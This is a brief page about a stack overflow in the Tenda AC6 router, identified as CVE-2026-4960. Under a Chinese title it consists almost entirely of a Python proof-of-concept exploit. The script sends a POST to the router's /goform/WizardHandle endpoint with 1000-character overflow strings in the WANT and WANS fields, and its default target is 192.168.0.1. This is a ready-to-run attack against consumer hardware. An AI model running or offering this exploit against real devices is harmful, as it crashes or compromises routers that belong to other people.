CVE-2026-4960 Tenda AC6路由器栈溢出漏洞

import requests def exploit_tenda_ac6(target_ip): """ PoC for CVE-2026-4960 Triggers stack overflow in Tenda AC6 via WizardHandle """ url = f"http://{target_ip}/goform/WizardHandle" # Malicious payload to trigger buffer overflow # Adjust length based on specific buffer size analysis overflow_payload = "A" * 1000 data = { "WANT": overflow_payload, "WANS": overflow_payload } try: # Sending the malicious POST request # Note: Low privileges (PR:L) might be required response = requests.post(url, data=data, timeout=5) print(f"Request sent to {target_ip}, Status: {response.status_code}") except Exception as e: print(f"Exploit attempt failed: {e}") if __name__ == "__main__": # Replace with actual target IP exploit_tenda_ac6("192.168.0.1")